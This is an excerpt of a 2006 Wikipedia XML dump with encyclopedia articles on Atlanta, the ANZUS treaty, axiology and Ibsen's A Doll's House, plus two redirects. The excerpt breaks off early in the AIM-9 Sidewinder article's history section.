Being the unofficial capital of the 'bible belt', a geographic region considered among the most highly religious in western civilization,{{fact}} the Atlanta cityscape is teeming with a seemingly countless number of large denominational churches and other places of worship. A large majority of Atlantans profess to following a Protestant Christian faith, and many people point out that religion plays a reasonably important role in their weekly lives.{{fact}} As a result, the city could arguably have the distinction of being among the most religious major cities in the country.{{fact}} Furthermore, a large number of students in the Metro area's northern counties attend faith-based private schools at a rate unsurpassed by many other parts of the country.{{fact}} Out of 75 private schools listed in Fulton county, only 8 have no religious ties. {{fact}} 

As the see of the [[Roman Catholicism|Catholic]] [[Archdiocese of Atlanta]], Atlanta serves as the [[Provincial See]] for the Province of Atlanta. The city is also a major [[Southern Baptist]] center.

==Economy==
Despite romantic associations, Atlanta has always been more a commercial city than an [[ante-bellum]] monument. It is the major center of regional commerce, and boasts an especially strong convention and trade show business. According to the [[Global city|ranking of world cities]] undertaken by the ''Globalization and World Cities Study Group &amp; Network (GaWC)'' and based on the level of presence of global corporate service organisations, Atlanta is considered a &quot;[[Gamma World City]].&quot;

Several major national and international companies are headquartered in Atlanta or its nearby suburbs, including four Fortune 100 companies: [[The Coca-Cola Company]] (started in Atlanta), [[Home Depot]] (started in Atlanta), [[BellSouth]], and [[United Parcel Service]] in adjacent [[Sandy Springs, Georgia|Sandy Springs]]. Home Depot founder [[Bernie Marcus]] donated more than 200 million dollars to build the new [[Georgia Aquarium]]. [[Delta Air Lines]] is also headquartered in Atlanta and is a major employer. [[Newell Rubbermaid]] is one of the most recent companies to relocate its headquarters to the metro area (Sandy Springs).

Just west of Midtown, a former Atlantic Steel plant has been redeveloped as [[Atlantic Station]], a mixed-use urban renewal project combining housing, retail, and office space, and promoted as part of the solution to Atlanta's serious traffic and air quality problems. The metro area has one of America's longest average daily commutes, and is one of the most car-dependent cities on the planet due both to suburban sprawl and underfunded mass transit systems. It also has a reputation as being one of the most dangerous for pedestrians,{{fact}} as far back as 1949 when ''Gone with the Wind'' author [[Margaret Mitchell]] was struck by a speeding car and killed.

The city is a major [[cable TV|cable television]] programming source; [[CNN Center]], headquarters of the [[Cable News Network]], is in Atlanta where the network was founded by [[Ted Turner]], and [[The Weather Channel]] broadcasts from just outside of town. In addition to CNN, [[Time Warner]]'s other networks from Atlanta include [[Cartoon Network]]/[[Adult Swim]] and companion channel [[Boomerang]], [[Turner Network Television|TNT]], [[Turner South]], [[CNN International]], [[CNN en Español]], [[CNN Headline News]], [[CNN Airport Network]], and [[Turner Broadcasting System|TBS]]. Atlanta's [[TBS Superstation|WTBS]] channel 17 (originally WTCG) was Turner's start in television in the 1970s; after he bought the struggling UHF TV station, he turned it into a &quot;Superstation&quot; broadcasting both locally and nationally on the emerging cable providers. Atlanta's [[WSB (AM)|WSB]] was the first [[AM radio]] station in the South.

{{seealso|list of major companies in Atlanta}}

==Infrastructure==
===Government===
[[Image:Atlanta City Hall from HABS.jpg|thumb|Atlanta City Hall]]
Atlanta is governed by an at-large elected [[mayor]] and a city council. The city council consists of representatives of twelve districts from the city as well as three at-large positions. The mayor may veto a bill passed by the council, but the council may override with a two-thirds majority. The current mayor of Atlanta is [[Shirley Franklin]].

Possibly owing to the city's [[African American]] majority, each mayor elected since 1973 has been black; the uninterrupted string of black mayors in excess of thirty years is a first for any metropolitan area in the country. [[Maynard Jackson]] was elected for two terms and then for another term in the early 1990s. His successors [[Andrew Young]] (and later, [[Bill Campbell (mayor)|Bill Campbell]]) owed their success in the mayoral election at least in part to Jackson's endorsement.
In [[July 2004]], Atlanta became the first city in the state to impose a sales tax of its own, bringing the total to 8% in both the Fulton and DeKalb parts of the city.  This passed in a referendum during the [[July 20]]th primary election with a 75% majority, after being allowed by the state legislature earlier in 2004. The sales tax helped to reduce a huge rate increase on water and sewer bills, necessary to pay three billion dollars in bonds to fix the city's aging (and in places decrepit) municipal water and sewer systems. [[Combined sewer overflows]] will also be eliminated, so that runoff water is separated, preventing diluted sewage from overflowing at [[sewage treatment plant]]s during heavy rains.
[[Image:GeorgiaCapitolBuilding.jpg|2936x1940, 457KB|thumb|right|The [[Georgia State Capitol]] in Atlanta]].
As the [[state capital]], Atlanta is also the site of most of Georgia's state government, including the [[Georgia State Capitol]] (topped with gold from [[Dahlonega, Georgia]]), the [[Georgia General Assembly|General Assembly]], and the residence of the [[Governor of Georgia]] in [[Buckhead (Atlanta)|Buckhead]]. It is also home to [[Georgia Public Broadcasting]] headquarters and [[Peachnet]], and is the county seat of Fulton County, with which it shares responsibility for the [[Atlanta-Fulton Public Library System]].

===Transportation===
[[Image:MARTA - N3 Station.jpg|thumbnail|right|300px|MARTA provides public transportation in Atlanta.]]

Atlanta is served by [[Hartsfield-Jackson Atlanta International Airport]] {{airport codes|ATL|KATL}}, the world's busiest airport by [[World's busiest airports by passenger traffic|passenger traffic]] and by [[World's busiest airports by traffic movements|aircraft traffic]], providing air service to and from many national and international destinations. It is situated 10 miles south of downtown, adjacent to the intersection of [[Interstate 85|I-85]] and [[Interstate 285|I-285]]. The MARTA rail system has a station within the airport terminal, and provides direct service to the business areas in downtown Atlanta, [[Buckhead (Atlanta)|Buckhead]] and [[Sandy Springs, Georgia|Sandy Springs]]. The major [[general aviation]] airports near the city proper are [[DeKalb-Peachtree Airport]] {{airport codes|PDK|KPDK}} and [[Atlanta/Fulton County Airport-Brown Field]] {{airport codes|FTY|KFTY}}. See [[List of airports in the Atlanta area]] for a more complete listing.

Three major [[interstate highways]] intersect the city; [[Interstate 20|I-20]] runs east-west, while [[Interstate 75|I-75]] runs NW to SE and I-85 runs NE to SW, and join together as the [[Downtown Connector]] through the center of the city. I-285 (also known as &quot;the Perimeter&quot;) encircles the city and some of its inner suburbs. I-75 just north of the Windy Hill Road interchange in Cobb County is one of the widest freeways (seventeen lanes) in the entire world. The intersection of I-85 and I-285 in [[Doraville, Georgia|Doraville]], locally referred to as [[Tom Moreland Interchange|Spaghetti Junction]], is one of the tallest in the eastern United States. Metropolitan Atlanta is crisscrossed by thirteen freeways (in addition to the aforementioned interstates, I-575, Georgia 400, Georgia 141, I-675, Georgia 316, I-985, Stone Mountain Freeway (US 78), and Langford Parkway (SR 166)). The [http://www.dot.state.ga.us/ Georgia Department of Transportation] operates [http://georgianavigator.com/ Georgia Navigator] to disseminate current traffic (travel times, camera images, accidents) and road (construction, flooding, ice, debris) conditions throughout the state.

[[MARTA]] is the [[public transit]] [[agency]] in the city, operating the [[metro|subway]] and [[bus]] system within Fulton and Dekalb Counties. Clayton County, Gwinnett County and Cobb County all operate separate, autonomous transit authorities, all consisting of a bus network, with no rail. However, many commuters in Atlanta and the surrounding suburbs use [[automobile]]s as their primary mode of transportation. This results in heavy [[traffic]] during rush hour and contributes to Atlanta's [[air pollution]] problems. In recent years, the Atlanta metro area has ranked at or near the top of the longest average commute time in the US.

Atlanta grew up as a railroad town and is still today a major rail junction, with several busy freight lines belonging to [[Norfolk Southern]] and [[CSX Transportation|CSX]] intersecting below street level in the downtown area. Long distance passenger service is provided by [[Amtrak]]'s [[Crescent (Amtrak)|Crescent train]] which connects Atlanta with the cities of [[New York City|New York]], [[Philadelphia, Pennsylvania|Philadelphia]], [[Baltimore, Maryland|Baltimore]], [[Washington, D.C.|Washington]], [[Charlotte, North Carolina|Charlotte]], [[Birmingham, Alabama|Birmingham]] and [[New Orleans, Louisiana|New Orleans]]. The Amtrak station is situated at 1688 Peachtree St. N.W., several miles north of downtown and not well located for onward public transportation. An ambitious long-standing proposal would create a Multi-Modal Passenger Terminal in downtown adjacent to Philips Arena and the Five-Points MARTA station which would link MARTA bus and rail, intercity bus service, proposed commuter rail service to other Georgia cities, and Amtrak in a single facility.

[[Greyhound Lines]] provides intercity bus service between Atlanta and many locations throughout the United States and Canada. The Greyhound terminal is situated at 232 Forsyth Street, on the southern edge of the downtown area and directly beneath MARTA's Garnett rail station.

The proposed [[Beltline (Atlanta)|Beltline]] would create a greenway and public transit system in a circle around the city from a series of mostly abandoned rail lines. This rail [[Right-of-way (railroad)|right-of-way]] would also accommodate multi-use [[trails]] connecting a string of existing and new parks.  In addition, there is a proposed [[streetcar]] project that would create a streetcar line along Peachtree from downtown to Buckhead as well as possibly another East-West line. [http://www.atlantastreetcar.com/]

===Education===
====Public schools====
The public school system ([[Atlanta Public Schools]]) is run by the Atlanta Board of Education. Currently, the system has an active enrollment of 51,000 students, attending a total of 85 schools: 59 elementary schools (three of which operate on a year-round calendar), 16 middle schools, 10 high schools, and 7 charter schools. The school system also supports two alternative schools for middle and/or high school students, two community schools, and an adult learning center. The school system also owns and operates radio station [[WABE-FM]] 90.1 (the [[National Public Radio]] affiliate) and PBS television station WPBA 30.

====Private schools====
Notable private schools in Atlanta include [[The Paideia Schoool]], [[The Galloway School]], [[Holy Spirit Preparatory School]], [[Pace Academy]] ([[Buckhead]]), [[The Lovett School]] (Buckhead), [[Blessed Trinity Catholic High School]], [[The Westminster Schools]] (Buckhead). The Atlanta International School (Buckhead).

====Colleges and universities====
Some of the prominent institutions of [[higher education]] in Atlanta include [[Emory University]], [[Georgia Institute of Technology|Georgia Tech]], [[Georgia State University]], [[Mercer University]], and [[Oglethorpe University]]. [[Atlanta University Center]], a consortium of historically-black colleges and universities, is also located in the city. Schools that are part of this consortium include [[Clark Atlanta University]], [[Morehouse College]], [[Morris Brown College]],[[Spelman College]] and [[Morehouse School of Medicine]]. Other schools in the city include the [[Reformed Theological Seminary]] and the [[Savannah College of Art and Design]] which opened a Midtown campus in 2005 and acquired the [[Atlanta College of Art]] shortly thereafter.

Institutions in the surrounding metro area include [[Agnes Scott College]] ([[Decatur, Georgia|Decatur]]), [[DeVry University System|DeVry University]] ([[Decatur, Georgia|Decatur]]), [[Clayton State University]] ([[Morrow, Georgia|Morrow]]), [[Kennesaw State University]] ([[Kennesaw, Georgia|Kennesaw]]), [[Georgia Perimeter College]],
[[Gwinnett University Center]] (soon to be known as [[Georgia Gwinnett College]], in [[Lawrenceville, Georgia|Lawrenceville]]), The [[University of West Georgia]] ([[Carrollton, Georgia|Carrollton]]), and [[Southern Polytechnic State University]] ([[Marietta, Georgia|Marietta]]).

==Sister cities==
Atlanta has eighteen [[town twinning|sister cities]], as designated by [http://www.sister-cities.org/ Sister Cities International, Inc. (SCI)]: [[Olympia, Greece|Ancient Olympia]] ([[Greece]]), [[Brussels]] ({{BEL}}), [[Daegu]] ([[South Korea]]), [[Tbilisi]] ({{GEO}}), [[Toulouse]] ({{FRA}}), [[Ra'annana]] ([[Israel]]), [[Taipei]] ([[Taiwan]]), [[Port of Spain]] ([[Trinidad and Tobago]]), [[Lagos Island]] ([[Lagos]], [[Nigeria]]), [[Fukuoka, Fukuoka|Fukuoka]] ([[Japan]]), [[Bucharest]] ([[Romania]]), [[Cotonou]] ([[Benin]]), [[Montego Bay]] ([[Jamaica]]), [[Newcastle-upon-Tyne]] ([[England]]), [[Nuremberg|Nürnberg]] ([[Germany]]), [[Rio de Janeiro]] ([[Brazil]]), [[Salcedo]] ([[Dominican Republic]]), and [[Salzburg]] ([[Austria]]).

==See also==
*[[Atlanta in fiction]]
*[[architecture of Atlanta]]
*[[list of famous Atlantans]]
*[[list of major companies in Atlanta]]
*[[list of mayors of Atlanta]]
*[[list of Atlanta neighborhoods]]
*[[Atlanta metropolitan area]]
*[[I-85 Corridor]]

== References ==
* Frederick Allen. ''Atlanta Rising''. Atlanta: Longstreet Press, 1996. A detailed history of Atlanta from 1946 to 1996, with much about City Councilman, later Mayor, William B. Hartsfield's work in making Atlanta a major air transport hub, and about the [[American Civil Rights Movement (1955-1968)|American Civil Rights Movement]] as it affected (and was affected by) Atlanta.
* Darlene R. Roth and Andy Ambrose. ''Metropolitan Frontiers: A short history of Atlanta''. Atlanta: Longstreet Press, 1996. An overview of the city's history with an emphasis on its growth.
* Elise Reid Boylston. ''Atlanta: Its Lore, Legends and Laughter''. Doraville: privately printed, 1968. Lots of neat anecdotes about the history of the city.
* ''Atlanta, Then and Now''. Part of the Then and Now book series.
* [http://fotw.vexillum.com/flags/us-ga-at.html Atlanta, GA] (Source for Atlanta Flag)
* Atlanta and Environs: A Chronicle of Its People and Events : Years of Change and Challenge, 1940-1976 by Franklin M. Garrett, Harold H. Martin
* Georgia Humanities Council. ''The New Georgia Encyclopedia.'' [http://www.georgiaencyclopedia.org/nge/Home.jsp]

==External links==
{{sisterlinks|Atlanta}}
{{wikitravelpar|Atlanta}}
*[http://www.atlantaga.gov/ Official Website]
*[http://www.atlanta.net Atlanta Convention and Visitors Bureau]
*[http://www.accessatlanta.com/ Access Atlanta]
*[http://www.atlhist.org/ Atlanta History Center]
*[http://www.roadsidegeorgia.com/city/atlanta01.html History of Atlanta, Georgia] Two articles that cover the history of Atlanta until 1868.
*[http://www.atlwiki.org/ AtlWiki - A wiki just starting for Atlanta]

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  </page>
  <page>
    <title>Apostles</title>
    <id>3139</id>
    <revision>
      <id>34523442</id>
      <timestamp>2006-01-09T19:49:19Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>#REDIRECT [[Twelve Apostles]]</comment>
      <text xml:space="preserve">#REDIRECT [[Twelve Apostles]]</text>
    </revision>
  </page>
  <page>
    <title>Avogadros number</title>
    <id>3140</id>
    <revision>
      <id>15901503</id>
      <timestamp>2002-02-25T23:32:07Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[Avogadro's number]]</comment>
      <text xml:space="preserve">#REDIRECT [[Avogadro's number]]</text>
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  </page>
  <page>
    <title>ANZUS</title>
    <id>3142</id>
    <revision>
      <id>42121634</id>
      <timestamp>2006-03-03T23:35:26Z</timestamp>
      <contributor>
        <username>Lacrimosus</username>
        <id>74131</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/139.168.150.113|139.168.150.113]] ([[User talk:139.168.150.113|talk]]) to last version by Wallie</comment>
      <text xml:space="preserve">The '''Australia, New Zealand, United States Security Treaty''' ('''ANZUS''' or '''ANZUS Treaty''') is the [[military alliance]] which binds [[Australia]] and the [[United States]], and separately Australia and [[New Zealand]] to cooperate on [[Defense (military)|defense]] matters in the Pacific Ocean area, though today the treaty is understood to relate to attacks in any area.
{{wikisource|Australia, New Zealand, United States Security Treaty}}

==Treaty structure==
The treaty was previously a full three-way defence pact, but following a dispute between New Zealand and the United States in [[1984]] over visiting rights for nuclear-armed or nuclear-powered ships of the [[United States Navy|U.S. Navy]] in New Zealand ports, the treaty no longer applies between the United States and New Zealand, but is still in force between either country and Australia, separately.

The US-Australia alliance under the ANZUS Treaty remains in full force. Heads of defence of one or both nations often have joined the annual ministerial meetings, which are supplemented by consultations between the U.S. Commander in Chief Pacific and the Australian Chief of Defence Force. There also are regular civilian and military consultations between the two governments at lower levels. Annual meetings to discuss ANZUS defence matters take place between the [[United States Secretary of State]] and the [[Minister for Foreign Affairs (Australia)|Australian Minister for Foreign Affairs]] (AUSMIN). The 17th AUSMIN meeting took place in [[Adelaide]] in November 2005.

Unlike [[NATO]], ANZUS has no integrated defence structure or dedicated forces. However, in fulfillment of ANZUS obligations, Australia and the United States conduct a variety of joint activities. These include military exercises ranging from naval and landing exercises at the task-group level to battalion-level special forces training, assigning officers to each other's armed services, and standardizing equipment and operational doctrine. The two countries also operate several joint defence facilities in Australia, mainly ground stations for [[spy satellite|early warning satellites]], and signals intelligence gathering in South-East Asia and East Asia as part of the [[ECHELON]] network.

==History==

===Origins===
The treaty came about following the close cooperation of the United States, Australia and New Zealand during [[World War II]], during which time Australia had come perilously close to invasion by [[Japan]]. Following the end of World War II, the United States was eager to normalize relations with Japan, particularly as the [[Korean War]] was still raging a short distance from Japan. With the involvement of China and possibly the [[Soviet Union]] in Korea, the [[Cold War]] was threatening to become a full-scale war. However, Australia and New Zealand in particular were extremely reluctant to finalize a peace treaty with Japan which would allow for Japanese rearmament. Both countries relented only when an Australian and New Zealand proposal for a three-way security treaty was accepted by the United States.

The resulting treaty was concluded at [[San Francisco, California|San Francisco]] on [[1 September]] [[1951]], and entered into force on [[29 April]] [[1952]]. The treaty bound the signatories to recognize that an armed attack in the Pacific area on any of them would endanger the peace and safety of the others. It committed them to consult in the event of a threat and, in the event of attack, to meet the common danger in accordance with their respective constitutional processes. The three nations also pledged to maintain and develop individual and collective capabilities to resist attack.

It is interesting to note the treaty itself was not a source of debate for 30 years, though in this period New Zealand and Australia commited forces to the [[Malayan Emergency]] and subsequently the ANZUS nations fought together in the [[Vietnam War]].

===Malaya, Korea, and Vietnam===

New Zealand also fought alongside the United States in the Korea and Vietnam, and sent transport aircraft, maritime patrol aircraft and frigates to the Gulf, as well as a very small number of soldiers, [[Special Air Service of New Zealand|SAS]] soldiers, medical and assorted and peace-keeping forces in Afghanistan &amp;mdash; and despite Prime Minister [[Helen Clark]] being openly critical of American justifications for the war, New Zealand did send engineers and troops to protect them to Iraq. An opinion poll in New Zealand in 2001 [http://www.greenleft.org.au/back/1991/15/15p18b.htm] showed 54% of those sampled preferred to let the treaty lapse rather than accept visits again by nuclear-armed/powered vessels. It seems from the United States point of view there is no need to rely upon ANZUS to obtain New Zealand military support.

===Australian reservations about the MX===
In [[1983]], the United States approached Australia with proposals for testing the new generation of American [[intercontinental ballistic missile]]s, the [[LG-118A_Peacekeeper|MX missile]]. American test ranges in the Pacific were insufficient for testing the new long-range missiles and the United States military wished to use the [[Tasman Sea]] as a target area. Australian Prime Minister [[Malcolm Fraser]] of the [[Liberal Party of Australia|Liberal Party]] had agreed to provide monitoring sites near [[Sydney]] for this purpose. However in 1985 the new Prime Minister [[Bob Hawke]] of the [[Australian Labor Party|Labor Party]] withdrew the offer of assistance after protests from within the Left faction of the Labor Party.

===New Zealand bans nuclear ships===
In [[1985]], the nature of the ANZUS alliance changed significantly. Tensions had long been present between Australia, New Zealand and the declared nuclear powers the United States and [[France]] which had conducted nuclear tests on South Pacific islands. Following the victory of the New Zealand Labour Party in elections in [[1984]], Prime Minister [[David Lange]] enacted laws which barred [[nuclear power|nuclear-powered]] or [[nuclear weapon|nuclear-armed]] ships from using New Zealand ports, citing the dangers of nuclear weapons, continued nuclear testing in the South Pacific, and opposition to US President [[Ronald Reagan]]'s policy of aggressively confronting the Soviet Union. Given that the United States Navy refused to confirm or deny the presence of nuclear weapons aboard ships, these laws in effect refused access to New Zealand ports for all ships of the United States Navy. In February 1985, a port-visit request by the United States for the [[USS Buchanan (DDG-14)|USS ''Buchanan'']] was refused by New Zealand, as the ''Buchanan'' was capable of launching nuclear [[depth charge]]s.

On [[10 July]] [[1985]], the French [[DGSE]] bombed the [[Greenpeace]] protest vessel [[Sinking of the Rainbow Warrior|Rainbow Warrior]] in [[Auckland]]. This event strengthened the nation's resolution to oppose in any form the military application of nuclear technology.

===The United States suspends ANZUS obligations to New Zealand===
After consultations with Australia and after negotiations with New Zealand broke down, the United States announced that it was suspending its treaty obligations to New Zealand until United States Navy ships were re-admitted to New Zealand ports, citing that New Zealand was &quot;a friend, but not an ally&quot;. The crisis made front-page headlines for weeks in many American newspapers, while many American cabinet members were quoted as expressing a deep sense of &quot;betrayal&quot;. It is still often incorrectly stated that David Lange withdrew New Zealand from ANZUS &amp;mdash; he did no such thing; his government's policy may well have led to the US's decision to suspend its treaty obligations to New Zealand, but that was still a decision of the US government, not the New Zealand government.

While the crisis with navy visits was prominent, the United States proved to be more forgiving of Australia's refusal to assist with the Peacekeeper missile. Fearing the total collapse of the ANZUS treaty, the US government decided to accommodate Australian domestic politics, particularly after [[NATO]] countries and other allies such as Japan showed little interest in taking a similar stance against nuclear weapons such as the [[MGM-31 Pershing |Pershing missile]].

===September&amp;nbsp;11, 2001 attacks===
Whilst Australia and New Zealand has fought alongside the United States before the treaty signing including in the [[Korean War]], the [[Vietnam War]], the [[Gulf War]] (Australia only) and elsewhere the ANZUS treaty's provisions for assistance when a member nation comes under threat were officially invoked for the first time by Australia after the [[September 11, 2001 Terrorist Attack|September&amp;nbsp;11, 2001 terrorist attacks]]. Australia is also a contributor to the [[National Missile Defense]] system. [http://usembassy-australia.state.gov/ausmin/2004/missile-defense.html] [http://www.foreignminister.gov.au/releases/2003/fa151_03.html]

===East Timor===
Between 1999 and 2003 the armed forces of Australia and New Zealand deployed together in a large scale operation in [[East Timor]], to prevent pro-Indonesian Militia from overturning a vote for independence and conducting ethnic cleansing on the island. The United States provided only limited logistical support. The operation was taken over by the [[United Nations]].

===Taiwan===
One topic that became prominent in the early 2000s are its implications in the case of a hypothetical attack by the [[People's Republic of China]] against [[Taiwan]] with the [[Republic_of_China|ROC]] (Taiwan) receiving American support. While Australia has strong cultural and economic ties with the United States, it also has an increasingly important trade relationship with [[mainland China]].

In August 2004, Foreign Minister [[Alexander Downer]] implied in Beijing that the treaty would likely not apply to that situation, but he was quickly corrected by Prime Minister [[John Howard]]. In March 2005, after an official of the [[People's Republic of China]] stated that it may be necessary for Australia to reassess the treaty and after the PRC passed an [[Anti-Secession Law]] regarding the ROC, Downer stated that in case of a PRC attack on the ROC, the treaty would come into force, but that the treaty would require only consultations with the United States and not necessarily commit Australia to war.

===The alliance today===
Annual bilateral meetings between the US Secretary of State and the Australian Foreign Minister replaced annual meetings of the ANZUS Council of Foreign Ministers. The first bilateral meeting was held in [[Canberra]] in 1985. At the second, in [[San Francisco]] in [[1986]], the United States and Australia announced that the United States was suspending its treaty security obligations to New Zealand pending the restoration of port access. Subsequent bilateral Australia-US Ministerial (AUSMIN) meetings have alternated between Australia and the United States.

The alliance engenders some political controversy in Australia. Particularly after Australian involvement in the [[2003 invasion of Iraq|2003 war on Iraq]], some quarters of Australian society have called for a re-evaluation of the relationship between the two nations. Nonetheless the alliance enjoyed broad support during the [[Cold War]] [http://assda.anu.edu.au/polls/M0004.html] and continues to enjoy broad support in Australia. [http://www.australianpolitics.com/foreign/anzus/01-06-30gnehm.shtml] [http://www.smh.com.au/articles/2004/03/29/1080544419833.html?oneclick=true] One commentator in Australia has argued that the treaty should be re-negotiated in the context of terrorism, the modern role of the United Nations and as a purely US-Australian alliance. [http://www.onlineopinion.com.au/view.asp?article=2140]

The value of the alliance was again questioned when a new US Ambassador arrived to take up his post in Wellington, New Zealand, in 2005. In his first speech on the topic of NZ-US relations the Ambassador referred to the ANZUS treaty repeatedly as &quot;Anzoo&quot;. Some commentators questioned how the Ambassador might know much about the alliance if he couldn't name it properly.

===Trivia===
An exhibit commemorating the past and present of the ANZUS Treaty is located at [[the Pentagon]].  Known as the &quot;ANZUS Corridor&quot;, it is located on the second floor of the A-ring, between Apex 1/2 and Apex 3/4.
The break down of the NZ-US relationship was dramatised on film by [[Greg McGee]] in the movie &quot;Fallout&quot;.

{{col-begin}}
{{col-2}}
==See also==
*[[Australian Defence Force]]
*[[Military of New Zealand]]
*[[United States armed forces]]
*[[SEATO]]
*[[Pine Gap]]
*[[David Lange]]
*[[New Zealand Labour Party]]

{{col-2}}
==External links==
*[http://www.austlii.edu.au/au/other/dfat/treaties/1952/2.html Text of the ANZUS Treaty]
*[http://www.make-believe.org/essays/thesis.html Australia and the ANZUS Crisis - chronicles the near-death experience of ANZUS in 1985]
*[http://www.cis.org.au/policy/spr03/polspr03-5.htm Will New Zealand ever rejoin ANZUS?]
{{col-end}}

[[Category:Cold War treaties]]
[[Category:Foreign relations of Australia]]
[[Category:Foreign relations of New Zealand]]
[[Category:Military alliances]]
[[Category:United States treaties]]

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    </revision>
  </page>
  <page>
    <title>Axiology</title>
    <id>3143</id>
    <revision>
      <id>39369663</id>
      <timestamp>2006-02-12T18:42:04Z</timestamp>
      <contributor>
        <ip>70.20.110.97</ip>
      </contributor>
      <text xml:space="preserve">'''Axiology''', from the Greek ''axia'' (''&amp;alpha;&amp;xi;&amp;iota;&amp;alpha;'', value, worth), is the study of value or quality.  It is often thought to include [[ethics]] and [[aesthetics]]&amp;mdash;philosophical fields that depend crucially on notions of value&amp;mdash;and sometimes it is held to lay the groundwork for these fields, and thus to be similar to [[value theory]] and [[meta-ethics]].  The term was used in the 19th and early 20th centuries, but in recent decades, [[value theory]] has tended to replace it in discussions of the nature of value or goodness in general. Main article: ''[[Goodness and value theory]]''.

One area in which research continues to be pursued is so-called ''[[formal axiology]],'' or the attempt to lay out principles regarding value with [[mathematical rigor]].

The term is also used sometimes in [[economics]].

A popular work by [[Robert M. Pirsig]], ''[[Zen and the Art of Motorcycle Maintenance]],'' introduced the term &quot;axiology&quot; to a general audience, although not in any technical context.


== External links ==
* [http://www.formalontology.it/being.htm Being in philosophy and linguistics]

{{Philosophy navigation}}

[[Category:Meta-ethics]]

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  <page>
    <title>A Doll's House</title>
    <id>3144</id>
    <revision>
      <id>41845561</id>
      <timestamp>2006-03-02T02:52:44Z</timestamp>
      <contributor>
        <username>Prosfilaes</username>
        <id>49272</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">:''There is a separate article about [[The Sandman: The Doll's House|The Doll's House, the graphic novel collection of the comic book The Sandman]].''

'''''A Doll's House''''' (Original [[Norwegian language|Norwegian]] title: ''Et dukkehjem'') is a [[1879]] [[play]] by [[Norway|Norwegian]] playwright [[Henrik Ibsen]]. The play was highly controversial when first published, as it is sharply critical of [[Victorian era|Victorian]] [[marriage]] norms. It is considered a prime example of what is called the [[Well-Made Play]].

''A Doll's House'' was made into [[A Doll's House (movie)|numerous movies]], including a [[1973]] version directed by [[Joseph Losey]].

==Plot==

{{spoiler}}

''A Doll's House'' is a scathing criticism of the traditional roles of men and women in Victorian marriage.  As Ibsen wrote in his initial notes for the play, &quot;There are two kinds of moral law, two kinds of conscience, one in man and a completely different one in woman.  They do not understand each other; but in matters of practical living the woman is judged by man’s law, as if she were not a woman but a man.&quot;

Ibsen has his [[protagonist]], Nora, leave her husband in search of the wider world, after realizing that he is not the noble creature she has supposed him to be. Her role in the marriage is that of a [[doll]], her house a &quot;[[dollhouse|Doll's House]]&quot;, and indeed her husband Torvald refers to her incessantly as his little &quot;[[starling]]&quot; and as his &quot;[[squirrel]]&quot;.  She is not even permitted a key to the [[mailbox]].  Ibsen noted, &quot;A woman cannot be herself in contemporary society, it is an exclusively male society with laws drafted by men, and with counsel and judges who judge feminine conduct from the male point of view.&quot;  When she is [[blackmail]]ed because of an improper act that she commits in order to save her husband's life&amp;nbsp;&amp;ndash; [[forgery|forging]] her father's name on a note&amp;nbsp;&amp;ndash; her husband shows disgust and horror at what she had done upon finding this out. His only concern is his own reputation, despite the love for him that prompts her to do it.

When the blackmailer (Krogstad) recants, it could all be over, and in a traditional Victorian drama all would then be resolved.  For Ibsen, however, and for Nora, it is too late to go back to the way things were.  Her illusions destroyed, she decides she must leave her husband, her children, and her Doll's House to discover what is truly real and what is not.  As Ibsen described it, &quot;Depressed and confused by her faith in authority, she loses faith in her moral right and ability to bring up her children. A mother in contemporary society, just as certain insects go away and die when she has done her duty in the propagation of the race.&quot;

==Critics==

To the Victorians, this was scandalous. Nothing was considered more sacrosanct than the covenant of marriage, and to portray it in such a way was completely unacceptable. Some theatre houses refused to stage the play, so Ibsen was pressed to write an alternate ending that was far less black. This distressed him considerably, and on occasion he actually submitted a &quot;correction&quot;  at the last minute to the actors on opening nights.

==See also==

* [[A Doll's House (film)|Artistic depictions of the play]]

==External links==
*{{gutenberg|no=2542|name=A Doll's House}}
*{{gutenberg|no=15492|name=A Doll's House}} (alternate edition)

[[Category:Norwegian plays|Doll's House, A]]

[[de:Nora oder ein Puppenheim]]
[[it:Casa di bambola]]
[[he:בית הבובות (מחזה)]]
[[no:Et Dukkehjem]]</text>
    </revision>
  </page>
  <page>
    <title>AIM-9 Sidewinder</title>
    <id>3145</id>
    <revision>
      <id>40564207</id>
      <timestamp>2006-02-21T13:32:21Z</timestamp>
      <contributor>
        <username>Bastin8</username>
        <id>154626</id>
      </contributor>
      <minor />
      <comment>United Kingdom</comment>
      <text xml:space="preserve">[[image:sidewider_missile_20040710_145400_1.4.jpg|thumb|250px|right|Sidewinder Missile]]
The '''AIM-9 Sidewinder''' is a [[heat-seeking]], short-range, [[air-to-air missile]] carried by [[fighter aircraft]]. It is named after the [[Sidewinder (snake)|Sidewinder snake]], which also detects its prey via body heat. The Sidewinder was the first really effective air-to-air missile, widely imitated and copied. Its latest variants remain in active service with many air forces.

==History==
===Early development===
The Sidewinder missile was a development of the Naval Ordnance Test Station (NOTS), Inyokern, California, now the Naval Air Weapon Development Center, China Lake, California. It was officially designated in 1952 and was originally conceived by William Burdette McLean. 

Developed by the [[US Navy]] starting in the late [[1940s]], the Sidewinder introduced several new technologies that made it simpler and much more reliable than its [[United States Air Force]] (USAF) counterpart, the [[AIM-4 Falcon]].  After terrible experiences with the Falcon in the [[Vietnam War]], the Air Force replaced its Falcons with Sidewinders.

The primary advantage to the Sidewinder is its sophisticated, yet simple detection and guidance system. During [[World War II|WWII]] the Germans had experimented with [[infrared]] guidance systems in a large missile known as the [[Enzian missile|Enzian]], but were unable to get it to work reliably.  The Enzian was guided by an [[Infra-red|IR]] detector mounted in a small, steerable telescope.  A vane in front of the mirror shaded the detector, so the system could locate the target.  By continually turning toward the telescope, the missile was guided toward the target using what is known as a ''pure pursuit''.

The Sidewinder improved on this. The first was to replace the &quot;steering&quot; mirror with a mirror rotating around a shaft pointed out the front of the missile.  The detector was mounted in front of the mirror.  Instead of attempting to track the target in the mirror, the IR sensor would see the target as brief flashes as the mirror lined up with the target. By knowing where the flash was as the mirror spun, the direction (radially) to the target was also known.  This system could also track the radial angle to the target by timing the flashes.  If the target was further to the side, the flash seen in the detector would be shorter due to the mirror's higher rate of motion at the outside.

